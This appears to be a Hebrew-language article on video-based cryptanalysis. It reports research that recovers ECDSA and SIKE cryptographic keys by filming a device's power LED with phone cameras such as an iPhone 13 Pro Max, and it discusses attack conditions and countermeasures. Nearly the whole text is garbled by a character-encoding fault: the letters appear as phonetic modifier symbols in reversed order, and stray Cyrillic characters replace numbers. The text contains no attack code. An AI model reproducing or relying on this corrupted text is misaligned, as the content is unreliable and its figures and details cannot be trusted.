˧˰˴ˬ˞ˬ x˞ ˢ˟˧˟˯ ˢ˟ ˷˧ ˸ˬ˪˴ˬ ˣ˞ˡ˧ˣ ˢ˲˧˵˷ˬΦ 

˸ˣˬ˪˴ˬ˪ ˣ˞ˡ˧ˣ ˷˧ ˫˧˷ˣˬ˧˷ ˸ˣˮˣ˶˸˧ˣ Σ˭˧˟ ˫˞ ˸ˡ˧˩˪ ˰ˠ˶ ˧˸˥˲˷ˬ ˭˧˟ˣ ˡˣ˰˧˸ ˠˢˮ ˰˶˲˸ˬˢ ˷˧˟˩˟ Φ˨˞ 

˸ˣˬ˪˴ˬ˪ ˣ˞ˡ˧ˣ ˟˥ˣ˶ˣ ˭˸˯˧˶˲ ˷˧ ˭ˣ˶˯˥ ˧˸ˣˢˬ Σ˞ˣˢˣ ˭ˣ˩˧˯ Φ˫˧˶˵ˬ˟ ˫˧ˬ˧ˣ˯ˬ ˣ˪˧˲˞ ˡˣ˟˧˞ ˸ˣ˧˦˶˲ˢΦ 

˸ˣˬ˪˴ˬ ˣ˞ˡ˧ˣ ˸ˣ˶˷˲˞ˬ ˪ˣˠ˧˶ Σ˸˯˧˲˸ ˫ˡ˞ ˢ˷˰ˬ˟ Σˡˣ˰˧˸ ˫˧˟˴ˬ ˫˧˷˧ˠ˶ ˫˧˩ˬ˯ˬˣ ˫˧˧ˡˣ˯ Σˢ˷˰ˬ˪ˣ 

˸ˣ˶˷˲˞ˬ ˢ˷˧ˠ ˫˧˟˴ˬ˪ Σ˸ˣˬˣ˵ˬ ˫˧˷ˮ˞ˣ Σˢ˶ˣ˴˟ ˸˧˦˶˵˯˧ˡΦ 

ˡˣ˰˟ ˫˧ˬ˧˧˵˷ ˫˧˶˵˥ˬ Σˢˮ˷˧ˣ ˸ˣ˰ˡˣˬ ˪ˣ˴˧ˮ˪ ˷ˣˬ˧˷ ˸ˣˬ˪˴ˬ˟ ˣ˞ˡ˧ˣ ˸˟ˣ˦˪ ˪ˣˠ˧˶ Σˡˣ˰˧˸ ˢ˦˪˵ˢˣ Σ˭ˣ˧ˡˢˣ 

˞˷ˣˮ˟ ˷ˣˬ˧˷ ˸ˣˬ˪˴ˬ˟ ˪˰ ˸ˮˬ ˧ˣˢ˧ˤ ˫˧ˮ˲ ˶˟˩ ˶ˡ˥ ˢ˰ˡˣ˸˪ ˸˧˶ˣ˟˧˴ˢ ˟˶ˣ ˵ˣ˯˧˰ˢ x˟ Σ˫˧˦˰ˬ Σ˫˞ ˪˪˩˟ 

˶˲˯ˬ ˫˧˶˵˥ˬˢ ˫˧ˠ˧˴ˬˢ ˸˞ ˫˧ˮˣ˩˧˯ˢ ˸ˣˬ˪˴ˬˢ˷ ˸ˣˣˢˬ ˶ˣ˟˰ ˸ˣ˧ˡˣ˯ ˰ˡ˧ˬˢ ˫˪ˣ˰˟ ˧˪˞˦˧ˠ˧ˡˢ Σ˭ˣ˩˧˯ˣ 

˸ˣ˧˦˶˲ˢ Φ˭ˣ˩˧˯ ˢˤ ˣ˞˪ ˞˵ˣˣˡ ˰˟ˣˮ ˤ˩˶ˬˬ ˢˮˣˬ˸ˢ ˦˵˧˧˟ˣ˞ˢˣ ˯˲˸ˮ˷ Σ˞˪˞ ˫˧˦˶˲˟ ˰˵˶˟ ˢˮˣˬ˸ˢ Σˣ˪˞˩ 

˭˧˰˷ ˸˧˷ˣˮ˞ ˞˪ ˢ˪ˣ˩˧ ˪˴ˮ˪Φ 

˸ˣˮ˩˯ ˸ˣ˧˦˶˲ˢ ˭ˡ˧˰˟ ˧ˮ˶ˡˣˬˢ ˭s ˞˪ ˭˪ˣ˩ ˸ˣ˰ˣˡ˧ ˣˮ˪ Σ˭˸˧ˮ ˶˰˷˪ ˸ˣ˟˶˷ ˫˧˩˶ˡˢ ˰ˣˠ˲˪ ˣˮ˸ˣ˧˦˶˲˟ ˫ˣ˧˩ 

˸ˣ˰˴ˬ˞˟ ˫˧˪˩ ˸ˣ˵˧ˮ˩˦ˣ ˫˶˦˷ ˣ˪ˠ˸ˢ x˞ ˸ˣ˰ˣˡ˧˷ ˸ˣ˶ˬ˷ˮˣ ˶˸˯˟Φ 

ˣˮ˞ ˫˧˲˵ˣˬ ˫˧˰˴ˬ˞˟ ˫˧ˠˣ˪ˣˮ˩˦ ˫˧ˮ˷˧˧˥˟ˣ ˪˩ ˭ˬˤˢ ΣGPS Σ˭ˣ˲ˣ˶˵˧ˬ Σˢˬ˪˴ˬ Σ˵˶ˣ˯ ˫˧ˮ˲ ˭˷˧˧˥ˣ ˢ˰ˣˮ˸ ˫ˢ 

˵˶ ˵˪˥ ˭˦˵ ˫˸ˣ˞ˬ ˫˧ˮ˷˧˧˥ ˫˧˞˴ˬˮ˷ ˣˮ˸˟˧˟˯˟ ˞˪˪ ˰˧˶˲ˬ ˟ˣ˶˟ ˸ˣ˰˷ ˫ˣ˧ˢΦ 

˸˶˧ˬ˷ ˰ˡ˧ˬˢ ˢ˟˥˶ˢ ˣˮ˧ˬ˧˟ ˟ˣ˪˧˷˟ˣ ˭ˡ˧˰ sπBig Data Σˢ˪˰ˬ ˸˞ ˭ˣ˩˧˯ˢ ˷ˣˬ˧˷˪ ˰ˡ˧ˬ˟ ˭˰ˬ˪ ˸ˣ˶˦ˬ 

˸ˣ˰ˠˣ˲˷ ˣˮ˸ˣ˧˦˶˲˟ Φ˵˪˥ˢ ˡ˧˥˲ˬˢ ˶˸ˣ˧˟ ˞ˣˢ Σ˸ˣ˶ˬ˪˷ ˰ˠ˶˩˷ ˞˪ ˥˶˩ˢ˟ ˷˧ ˸˞ ˫˧˪˩ˢ ˸ˣ˪ˡ˪ ˰ˡ˧ˬ 

˷˧ˠ˶ ˫˧ˮ˷˧˧˥ˬ ˫˧˰˴ˬ˞ˣ ˫˧˧ˠˣ˪ˣˮ˩˦ Σ˸˶˧ˬ˷ ˰ˡ˧ˬˢ ˸˶˷˲˞ˬ ˸ˣ˯ˮ˪ ˳˪˥˪ ˰ˡ˧ˬ ˡ˧˸˰˟ Φˡ˧˸˰˟ x˟ ˣ˲˯ˣˣ˸˧ 

˫˧˪˩ ˫˧˷ˡ˥ ˫˧ˮ˧ˬˤˣ Φ˫˞ ˞˪ ˶ˣ˵˥ˮ ˢ˧ˢˮˣ ˫˧˰ˡˣˬ ˸ˣˮ˩˯˪ ˸ˣ˟˟ˣ˯ˢ ˣˮ˸ˣ˞ Σˣˮ˞ ˫˧˪ˣ˪˰ ˸ˣ˪ˠ˪ ˸˞ ˸ˣ˩˪˷ˢˢ 

˶˟˩˷˩ ˢ˧ˢ˧ ˶˥ˣ˞ˬ ˧ˡ˧ˬ Φ˭ˣ˩˧˯ˢ ˱˷˥˧ˢ˪ ˸ˣ˰˧ˠ˲˪ ˸ˣ˧˦˶˲ ˞ˣˢ ˧ˡ˧ˬ˸ Σ˨˶ˣ˴ˢˣ ˸ˮ˟ˢ˟ ˢ˵˧ˬˮ˧ˡˢ ˪˷ 

˸ˣ˧ˠˣ˪ˣˮ˩˦ ˸ˣˬˡ˵˸ˬ ˭ˢ˧˸ˣ˩˪˷ˢˣ ˪˰ ˣˮ˧˧˥ ˨˲ˣˢ ˧˦˧˶˵˪ Φˢ˶˩ˢ ˸ˣˮ˩˯˟ ˣ˪˪ˢ ˸˶˟ˠˢˣ ˸ˣ˰ˡˣˬˢ ˸˧˶ˣ˟˧˴ˢ 

˸ˣ˪ˣ˩˧ ˰˧˧˯˪ ˸˶˧˴˧˟ ˫˧˪˩ ˫˧ˮˣˮˠˮˬˣ ˭ˠ˧˷ ˪˰ ˣˮ˸ˣ˧˦˶˲ Σ˰ˣˮˬ˪ˣ ˷ˣˬ˧˷ ˢ˰˶˪ ˰ˡ˧ˬ˟ ˣˮ˪˷Φ 
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ˢ˪˧ˬ ˢ˶˴˵ ˪˰ ˸˲˵˸ˢ ˳ˣ˶˰ ˧ˡˡ˴ 

˸˲˵˸ˢ ˳ˣ˶˰ ˧ˡˡ˴ ˞˧ˢ ˢ˲˵˸ˢ ˸˧˲˶ˠˣ˦˲˧˶˵ ˸˪˴ˮˬˢ ˰ˡ˧ˬ ˫ˣ˷˧˧ˢˬ ˧ˤ˧˲ˢ ˪˷ ˸˩˶˰ˬ ˢˮ˲˴ˢˢ Σ˞˪ˣ 

˫˸˧˶ˣˠ˪˞ˢˬ ˣˬ˴˰ Φ˞˧ˢ ˸˧˷˰ˮ ˸ˣ˰˴ˬ˞˟ ˥ˣ˸˧ˮ ˫˧˦˶˲ ˣˬ˩ ˧ˮˬˤ ˡˣ˟˧˰ Σ˸˩˧˶˴ ˢ˧ˠ˶ˮ˞ Σˢˮ˧˶˵ 

˸˧˦ˮˠˬˣ˶˦˵˪˞ Σ˫˧˷˰˶ Σ˸ˣ˶˧˧˸˷ˢ ˸˧˦ˮˠˬ ˪˰ ˢ˧ˡˬ ˸˵˶ˤˢˣ ˸ˣ˞˧ˠ˷ Φ˸˞ˤ ˟˵˰ ˧ˣˢ˧ˤ ˪ˣ˴˧ˮˣ ˸ˣ˪˟ˠˬ 

˸ˣ˧ˮ˩˦ x˞ ˫˧˪˷˩ ˫ˣ˷˧˧˟ Σ˫˧˪ˣ˪˰ˢ ˱ˣ˷˥˪ ˰ˡ˧ˬ ˭˩˯˧˷ ˸˞ ˭ˣ˥˦˧˟ ˸˩˶˰ˬˢΦ 

˭˩ˣ˸ ˶ˬ˞ˬˢ  

˫˶˵˥ˬ˟ Σ˫˧˶˵ˣ˥ˢ ˫˧˞˶ˬ ˧˩ ˫˧˟ˣ˷˧˥ ˫˧˧˲˶ˠˣ˦˲˧˶˵ ˫˧˰˴ˣ˟ˬˢ ˪˰ ˧ˡ˧ ˡ˟˰ˬ ˶˧˷˩ˬˢ ˢˮ˷ˬ ˸˞ ˸˩˧˶˴ 

˪ˬ˷˥ˢ ˪˷ ˶˧˷˩ˬˢ Σˢˬ ˰˧˲˷ˬ˷ ˪˰ ˸ˣ˶˧ˢ˟ ˸˶ˣˮ sπLED ˣ˪˷ Φ˫˧˶˵ˣ˥ˢ Σ˯˯˟˸ˢ˟ ˪˰ ˢˮ˥˟ˢ xʕ Σ˫˧ˠ˧˴ˬ 

ˡ˴˧˩ ˫˧˲˵ˣ˸ ˫˧˪ˣ˩˧ ˪˴ˮ˪ ˸ˣˬ˪˴ˬ ˣ˞ˡ˧ˣ ˸ˣ˧˶˥˯ˬ ύ˪˷ˬ˪ Σ˸ˬ˪˴ˬ iPhone мо x˞ ˸ˬ˪˴ˬ ˢ˥˦˟˞ ˸˶˟ˣ˥ˬ 

˸˷˶˪ Σό˧ˡ˩ ˳˪˥˪ ˸ˣ˥˸˲ˬ ˫˧˧ˡˣ˯ ˫˧˶˧˷˩ˬˬΦ 

˫˧˶˵ˣ˥ˢ ˫˧ˮ˧˧˴ˬ ˧˩ ˪ˣ˴˧ˮ ˦˵˲˞ ˴ˢˬ˴ ˫ύrolling shutter Σό˸˶˷˲˞ˬ ˢ˪ˡˠˢ ˪˷ ˶ˣ˰˧˷ ˢˬ˧ˠˡˢ ˧˲ ˢ˷ˣ˪˷ 

˧˶ˡ˯ ˪ˡˣˠ ˟˴˵ˬ ˸ˢˣˬˮ˸˧ ˢ˧˧ˮ˷˪ ύFrames Per Second Σόπˬсл ˪π слΣллл Σ˶ˣ˟˰ ˶˧˷˩ˬ ˫ˠˡˬ iPhone 13 

Pro MaxΦ 

˫˧˶˵ˣ˥ˢ ˫˧˵˲˯ˬ ˧˸˷ ˸ˣ˞ˬˠˣˡ ˫ˣ˷˧˧˪ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣΥ 

¶ ˳ˣ˪˧˥ ˥˸˲ˬ ECDSA ˨˶ˣ˞˟ нрс ˸ˣ˧˟˧˯ ˯˧˦˶˩ˬ ˫˩˥ Σ˪˰ ˧ˡ˧ ˥ˣ˸˧ˮ ˧ˬˣ˪˧˴ ˣ˞ˡ˧ˣ ˪˷ ˸˧˶ˣˮ sπLED ˪˷ 

˞˶ˣ˵ ˫˧˯˧˦˶˩ˢ ˫˩˥ˢ Σˠ˷ˣˢ˷ ˸ˣ˰˴ˬ˞˟ ˸ˣ˦˪˸˷ˢ ύhijacking ό˪˰ ˸ˬ˪˴ˬ ˢ˥˦˟˞ ˸˶˟ˣ˥ˬˢ 

˸˷˶˪ Σ˸ˬ˵ˣˬˬˢ ˢ˷˧˷˩ ˶˷˰ ˫˧˶˦ˬ ˞˶ˣ˵ˢˬ ˫˩˥ˢΦ 

¶ ˳ˣ˪˧˥ ˥˸˲ˬ ύSIKE Supersingular isogeny Diffie-Hellman key exchange Σό˨˶ˣ˞˟ оту ˸ˣ˧˟˧˯ Σ

˶˧˷˩ˬˬ Samsung Galaxy S8 Σ˪˰ ˧ˡ˧ ˥ˣ˸˧ˮ ˧ˬˣ˪˧˴ ˣ˞ˡ˧ˣ ˶˧˷˩ˬ˟ iPhone 13 Pro Max Σ˪˷ ˸˧˶ˣˮ sπ

LED ˧˪ˣ˵ˬ˶˟ sπLogitech Z120 USB Σˣ˧ˢ˷ ˫˧˶˟ˣ˥ˬ ˸ˤ˩˶˪ ύUSB hub Σόˢ˟ ˣ˷ˬ˸˷ˢ ˸ˮ˧˰˦˪ ˶˧˷˩ˬ 

ˡ˧˧ˮˢΦ 
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˪ˡˣˬ ˢ˲˵˸ˢˢ Σˢˬ˧ˠˡ ˟˴˵ˣ ˸ˬ˧ˠˡ ˰ˡ˧ˬˢ 

ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵˟ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ Σ˱˵ˣ˸ˢ ˳˪˥ˬ ˥˸˲ˬ ˢˮ˲˴ˢ ˧ˡˣ˯ ˶˧˷˩ˬˬ ˢ˶˦ˬˢ Σ˸ˣ˰˴ˬ˞˟ ˷ˣˬ˧˷ 

˫ˣ˪˧˴˟ ˣ˞ˡ˧ˣ ˪˷ ˸˧˶ˣˮ sπLED ˪˷ ˶˧˷˩ˬ ˢ˶˦ˬˢ Φ˭˸˧ˮ ˸ˣ˷˰˪ ˸˞ˤ ˸ˣ˰˴ˬ˞˟ ˢ˲˵˸ˢ ˢ˶˧˷˧ ύˢ˟ ˸˧˶ˣˮ sπ

LED ˸ˬ˵ˣˬˬ ˸˧ˤ˧˲ ˪˰ ˶˧˷˩ˬ ˢ˶˦ˬˢ Σόˣ˞ ˢ˲˵˸ˢ ˢ˲˧˵˰ ύˢ˟ ˸˧˶ˣˮ sπLED ˢˮ˧˞ ˸ˬ˵ˣˬˬ ˸˧ˤ˧˲ ˪˰ 

˶˧˷˩ˬ ˢ˶˦ˬˢ ˨˞ ˸˰˲˷ˣˬ ˧ˣˮ˧˷ˬ ˸˩˧˶˴ ˥˸ˬˢ ˪˷ ˶˧˷˩ˬˢΦό 

˱˵ˣ˸ˢ ˪˴ˮˬ ˶˷˵ ˭˧˟ ˸ˣ˪˧˰˲ ˶˧˷˩ˬˢ ˭˧˟˪ ˶ˣ˞ ˸˧˶ˣˮˢ ˣ˪˷ Φ˶˷˞˩ ˶˧˷˩ˬˢ ˰˴˟ˬ ˸ˣ˪ˣ˰˲ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ Σ

˸˩˧˶˴ ˪ˬ˷˥ˢ ˣ˪˷ ˢˮ˸˷ˬ Φ˫˧˶˧˷˩ˬ˟ ˫˧˟˶ Σ˸˧˶ˣˮ sπLED ύ˪˷ˬ˪ Σ˸˧˶ˣˮ ˢ˪˰˲ˢˢ ό˸˶˟ˣ˥ˬ ˸ˣ˶˧˷˧ 

˪ˠ˰ˬ˪ ˧˪ˬ˷˥ˢ ˪˷ ˶˧˷˩ˬˢ Φ˞˪˪ ˢˮˠˢ ˸˵˲˯ˬ Σ˫˧˧ˣˮ˧˷ ˸˩˧˶˴˟ ˪ˬ˷˥ˢ ˫˧˧ˣ˷˰ ˰˧˲˷ˢ˪ ˪˰ ˸ˣ˶˧ˢ˟ 

˸˧˶ˣˮˢΦ 

˱˵ˣ˸ˢ ˪ˣ˩˧ ˥˸ˮ˪ ˸˞ ˫˧˧ˣˮ˧˷ˢ ˫˧˶˧˰ˤˢ ˰˟˴˟ ˸ˣ˶˧ˢ˟˟ˣ ˪˷ ˸˧˶ˣˮˢ ύ˸ˣ˰˴ˬ˞˟ ˥ˣ˸˧ˮ ˧˩˶˰ RGB  Σό˵˧˯ˢ˪ˣ 

˫ˢˬ ˰ˡ˧ˬ ˪˰ ˸ˣ˪ˣ˰˲ˢ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ˢ ˸ˣ˰˴˟˸ˬˢ ˶˧˷˩ˬ˟ Φ˧ˢˣˤ ˢ˶ˣ˴ ˪˷ ϥ˸˲˧˪ˡ ˰ˡ˧ˬ ˸˧ˡˡ˴ ϥ

˸˶˷˲˞ˬ˷ ˱˵ˣ˸˪ ˰˴˟˪ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ Σ˶ˬˣ˪˩ ˥ˮ˰˲˪ ˸˞ ˰ˡ˧ˬˢ ˭˲˴ˣˬˢ Σ˧˪˟ ˢ˷˧ˠ ˢ˶˧˷˧ ˶˧˷˩ˬ˪ 

ˣˬ˴˰ϦΦ 

˶˧˷˩ˬ ˢ˲˧˵˸ˢ 

˸˰˴˟˸ˬ ˢ˥ˮˢˢ ˧˩ ˶˧˷˩ˬ ˢ˶˦ˬˢ ύˢ˸˰ˬ ˢˮ˲ˮ ˣ˧˪˰ ˵˶ ˩π˶˧˷˩ˬˢ Σό˰˴˟ˬ ˸ˣ˪ˣ˰˲ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ Φ˶ˣ˵ˬ 

˸ˣ˪ˣ˰˲ˢ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ˢ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˢˬ˩ˬ ˫˧ˬˤ˧Υ 

¶ ˷ˬ˸˷ˬ ˶˧˷˩ˬˢ π ˪˰ ˧ˡ˧ ˷ˣˬ˧˷ ˟πTLS session ύ˪ˣ˵ˣ˦ˣ˶˲ ˣ˸˶˦ˬ˷ ˥˦˟˞˪ ˸ˣ˰ˡˣˢ ˸ˣ˶˟ˣ˰ˢ ˭˧˟ ˡ˴ 

˸˶˷κ˥ˣ˵˪ Σό˨˶ˣ˴˪ ˢ˷˧ˠ ˶˸˞˪ ˥˦˟ˣ˞ˬ ύHTTPS Σόˣ˞ ˸˰˟ ˷ˣˬ˧˷ ˸˷˶˟ ˸˧˦˶˲ ˸˧˪˞ˣ˦˶˧ˣ ύVPNΦό 

¶ ˱˵ˣ˸ˢ π ˪˰ ˧ˡ˧ ˸˥˧˪˷ ˸ˣ˰ˡˣˢ ˶˧˷˩ˬ˪ Σ˨˩ ˭ˢ˷ ˣ˰˴˟˧ ˸ˣ˪ˣ˰˲ ˢˬ˧˸˥ ˸ˣ˧˦ˬˣ˦ˣ˞ ύ˪˰ ˸ˮˬ ˯˯˟˪ 

˸ˣ˸˧ˬ˞ ˶ˣ˵ˬ ˢ˰ˡˣˢˢΦό 

˱˯ˣˮ˟ Σ˫˧˥˧ˮˬ ˧˩ ˶˧˷˩ˬˢ ˪˧˩ˬ ˸˧˶ˣˮ ˧ˣˣ˧˥ Σˣ˞ ˶˟ˣ˥ˬ ˶˧˷˩ˬ˪ ˱˯ˣˮ κˡˣ˧˴ ˧˲˵˧ˢ x˟ ˷˧ ˸˧˶ˣˮ ˣˤ˩Φ 

˸˧˶ˣˮ ˧ˣˣ˧˥ˢ ˢ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˸˩˧˧˷ ˢˬ˩˪ ˸ˣ˶˦ˬ ˫˞˸ˢ˟ˣ ˢ˰˟˴ ˢ˸ˣ˪˧˰˲ˣΥ 

¶ ˢ˵˪ˡˢ κ˧ˣ˟˧˩ π ˠˣ˯ ˸˧˶ˣˮˢ ˳ˣ˲ˮˢ ˶˸ˣ˧˟ ˫˧˶˧˷˩ˬ˟ Σ˰˟˴ ˸˧˶ˣˮˢ ˨˶ˡ˟ ˪˪˩ ˣˮ˧˞ ˢˮ˸˷ˬ ˸˧˶ˣˮˢˣ 

ˢ˶˧˞ˬ ˵˶ ˸˰˟ ˶˧˷˩ˬˢ˷ ˵ˣ˪ˡΦ 

¶ ˸˧˶ˣˮ ˢ˞˶˸ˢ π ˢ˴ˣ˲ˮ ˶˸ˣ˧ ˫˧˞˶ˣ˵˟ ˫˧ˬ˩˥ ˫˧˧˪˦˧ˠ˧ˡ Σˢ˰˟˴ ˢˮ˸˷ˬ ˫˞˸ˢ˟ ˸ˣ˪ˣ˰˲˪ 

˸ˣ˧˲˶ˠˣ˦˲˧˶˵Φ 
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˱˵ˣ˸ˢ  

˸ˣ˷˧ ˸˧ˮˣˡˤ ˸˪˰˟ ˰˧ˮˬ ˳˪˥˪ ˸˞ ˥˸˲ˬ ˢˮ˲˴ˢˢ ˧ˡˣ˯ˢ ˪˷ ˢ˶˦ˬˢ Σ˧ˡ˩˟ ˥ˮ˰˲˪ ˰ˡ˧ˬ ˭˲˴ˣˬ ˫ˡˣ˵ 

˧ˡ˧˸˰ˣ Σ˥˧˪˴ˢ˷ ˦˶˧˧˪ Σˣ˶ˣ˵ˬ˷ ύx˞ ˣˡ˰˧ ό˞ˣˢ ˶˧˷˩ˬˢΦ 

˸ˠ˷ˢ ˣ˞ˡ˧ˣˣˢ 

˸˰˴˟˸ˬ ˢ˥ˮˢˢ ˧˩ ˱˵ˣ˸ˢ ˪ˣ˩˧ ˫˧˷˪ ˸˞ ˣˡ˧ ˪˰ ˧ˬˣ˪˧˴ ˣ˞ˡ˧ˣ ˫˧˪˧˩ˬˢ ˸˞ ˸˧˶ˣˮ sπLED ˪˷ ˶˧˷˩ˬˢ ˭ˬˤ˟ 

˸ˣ˪˧˰˲ ˸˧˲˶ˠˣ˦˲˧˶˵ Φ˫˧˶˵ˣ˥ˢ ˫˧˯˥˧˧˸ˬ ˧ˮ˷˪ ˫˧˪ˡˣˬ ˸ˠ˷ˢ˪ ˧ˬˣ˪˧˴ ˣ˞ˡ˧ˣˢΥ 

¶ ˸ˠ˷ˢ ˣ˞ˡ˧ˣˢ ˨˶ˡ ˢ˷˧ˠ ˸˧ˬˣ˵ˬ ˸˧ˤ˧˲ π ˱˵ˣ˸ˢ ˷ˬ˸˷ˬ ˸ˬ˪˴ˬ˟ ˶˧˷˩ˬˢ ˫˩˥ˢ ˣ˸ˣ˷˶˟˷ Σ˪˰ 

˸ˮˬ ˫˪˴˪ ˸˞ ˸˧˶ˣˮ ˶˧˷˩ˬˢ ˸˰˟ ˸ˣ˪˧˰˲ ˸˧˲˶ˠˣ˦˲˧˶˵ Φ˶ˬˣ˪˩ Σ˱˵ˣ˸ˢ ˢ˞˶ˮ˩ ˞˴ˬ˧ ˣ˸ˣ˞˟ ˶ˡ˥ˢ 

˫˰ ˢ˶˦ˬˢ Σˣ˞ ˢ˟˶˵˟ ˸˵˲˯ˬ ˷ˣˬ˧˷˪Φ 

¶ ˸ˠ˷ˢ ˣ˞ˡ˧ˣˢ ˪˰ ˧ˡ˧ ˸˷˶ˢ π ˱˵ˣ˸ˢ ˠ˧˷˧ ˢ˷˧ˠ ˧ˬˣ˪˧˴˪ ˣ˞ˡ˧ˣˢ ˨˶ˡ ˢ˴˧˶˲ ˸ˬ˪˴ˬ˪ ˢ˥˦˟˞ 

˸˶˟ˣ˥ˬˢ ˸˷˶˪ Φ˫˧˶˵ˣ˥ˢ ˫˧˥˧ˮˬ ˧˩ ˢˬ˪˴ˬˢ ˸ˡ˵ˣˬˬ ˪˰ ˶˧˷˩ˬˢ Σˣ˞ ˸ˬ˪˴ˬ˷ ˢ˥˦˟˞ˢ ˢ˪ˣ˩˧ 

˟˟ˣ˸˯ˢ˪ ˩πосл ˸ˣ˪˰ˬ Σ˸ˡ˧ˣ˴ˬ ˫ˣˤ˟ ˧˦˲ˣ˞ ˸ˬ˵ˣˬˬˣ ˡ˰ ˩πмс ˫˧˶˦ˬ ˡ˰˧ˢˬ Φ˱˯ˣˮ˟ Σ˫˧˶˵ˣ˥ˢ 

˫˧˥˧ˮˬ ˧˩ ˱˵ˣ˸ˢ ˪˰˟ ˢ˦˧˪˷ ˸ˣ˪ˣ˰˲˟ ˸ˣˤˣˤ˸ˣ ˢˬ˪˴ˬˢ Σ˪ˣ˩˧ˣ ˞˴˧˧˪ ˸˞ ˧ˬˣ˪˴˸ ˣ˞ˡ˧ˣˢΦ 

˸ˠ˷ˢ ˣ˞ˡ˧ˣˢ ˨˶ˡ ˸ˬ˪˴ˬ ˸˷˶ ˢ˴ˣ˶˲ ˞˧ˢ ˢ˥ˮˢ ˢ˶˧˟˯ Σ˫˧˶˵ˣ˥ˢˣ ˫˧ˮ˧˧˴ˬ ˧˩ ˫ˮ˷˧ ˫˧˶˵˥ˬ ˫˧˟˶ ˸ˣ˧ˮ˰˪ 

˸ˬ˶ ˭˸˥˦˟˞ ˪˷ ˸ˣˬ˪˴ˬˢ ˡˠˮ˩ ˸ˣ˲˵˸ˢ ˢ˥˦˟˞Φ 

˸ˣ˟˧˷˥ ˪ˡˣˬˢ  

˫˧˶˵ˣ˥ˢ ˫˧ˮ˧˧˴ˬ ˧˩ ˪ˡˣˬ ˢ˲˧˵˸ ˢˤ ˞ˣˢ ˣˮ˧˞ ˧ˮ˷˪ˣ˲ Φ˶ˬˣ˪˩ Σ˞ˣˢ ˣˮ˧˞ ˷˶ˣˡ ˶ˣ˟˧˥ κˢ˷˧ˠ ˸˧ˤ˧˲ ˶˧˷˩ˬ˪ 

ˢ˶˦ˬˢ Σ˨ˬ˸˯ˬˣ ˵˶ ˪˰ ˡˣ˧˴ ˧˸˶ˠ˷ ˣˮ˧˞˷ˣ ˶˶ˣ˰ˬ ˡ˷˥ ύˣˮ˧˞ ˶˧ˠ˯ˬ ˸˞ ˣ˧ˡˣ˥˧˧ ˣˬ˩ ˫˧˰˴ˬ˞ ˫˧˶˥˞ 

˫˧˦˪ˣ˟ˣ ˢ˟˧˟˯˟ ˸˧˶ˣ˟˧˴ˢΦό 

˸˪ˡˠˢ ˟˴˵ ˸ˬ˧ˠˡ ˧ˮˣ˸ˮ ˢˬ˪˴ˬˢ 

˫˧˶˵ˣ˥ˢ ˫˧ˮ˧˧˴ˬ ˧˩ ˸˧˟˶ˬ˟ ˫˧˶˧˷˩ˬˢ ˫˧ˡ˧˧ˮˢ ˫˧˧˶˥˯ˬˢ Σ˟ˣ˶˟ˣ ˸ˣˬ˪˴ˬ ˢ˥˦˟˞ˢ Σ˟˴˵ sπFPS ˨ˬ˸ˮˢ 

˞ˣˢ ˩πсл ˪π мнл Φ˟˴˵ ˢˬ˧ˠˡˢ ˳ˣ˲ˮˢ ˣˮ˧˞ ˵˧˲˯ˬ ˶ˣ˟˰ ˰ˣ˴˧˟ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ ύ˟˵˰ ˸ˣ˶˧ˢˬ ˧ˣˮ˧˷ ˸˧˶ˣˮˢ 

˸˰˟ ˰ˣ˴˧˟ ˫˧˟ˣ˷˧˥ ˫˧˧˲˶ˠˣ˦˲˧˶˵ Σό˭˩˪ˣ Σ˧ˡ˩˟ ˶˧˟ˠˢ˪ ˸˞ ˟˴˵ ˢˬ˧ˠˡˢ Σ˪˰ ˸ˮˬ ˰˧ˠˢ˪ ˟˴˵˪ ˢˬ˧ˠˡ 

˶˷˲˞ˬˢ ˰ˣ˴˧˟ ˪˷ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ Σ˱˵ˣ˸ˢ ˪ˣ˩˧ ˪˴ˮ˪ ˸˞ ˦˵˲˞ ˴ˢˬ˴Φ˫ 

˦˵˲˞ ˴ˢˬ˴ ˫ 

ˢ˦˧˷ ˸ˡ˧˩˪˪ ˢˮˣˬ˸ Σ˨˩ ˫˧˧˶˲˷ ˪˷ ˫ˣ˪˧˴ ˣ˞ˡ˧ˣ ˡ˩˪ˮ ˪˰ ˧ˡ˧ ˢ˵˧˶˯ ˪˷ ˟˥˶ˬ ˫ˣ˪˧˴ˢ ˸˧˩ˮ˞ κ˸˧˵˲ˣ˞ Φ

˶˷˞˩ ˢ˦˧˷ xʕ ˷ˣˬ˧˷˟ Σ˫˧˧˶˲ ˣˮ˧˞ ˟˩˶ˣˬ ˫ˣ˪˧˴ˬ ˡˡˣ˟ ˪˷ ˢˮ˴˯ˢ ˰ˠ˶˟ ˭ˣ˸ˮ Σ˞˪˞ ˶˲˯ˬˬ ˫˧ˬˣ˪˧˴ ˪˷ 

˫˧˵˪˥ ˫˧˧˩ˮ˞ κ˫˧˧˵˲ˣ˞ ˪˷ ˢˮ˴˯ˢ ˫˧ˮˬˤ˟ ˫˧ˮˣ˷Φ 
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˞ˬˠˣˡ ˨˧˪ˢ˸˪ ˢˤ ˰˧˲ˣˬ ˶ˣ˧˞˟ мπ ˫˧˪˯˵˧˲ ˪˷ ˭˷˧˧˥ˢ ˫˧˲˷˥ˮ ˫˧˞˶˵ˮˣ ˢ˶ˣ˷ ˧˶˥˞ ˢ˶ˣ˷ ˫˧ˮˬˤ˟ ˫˧ˮˣ˷ 

ˢ˪˰ˬ˪ˬ ˢ˦ˬ˪ ύx˞ ˪˞ˬ˷ˬ ˭˧ˬ˧˪ Σό˫˞˸ˢ˟ ˸ˣ˶˧ˢˬ˪ ˶ˠ˯ ˭˸˧ˮ˷ ˶˧ˡˠˢ˪ ύE Σό˸˰˟ˣ˵ˢ ˸˞ ˨˷ˬ ˭ˬˤˢ ˣ˟˷ 

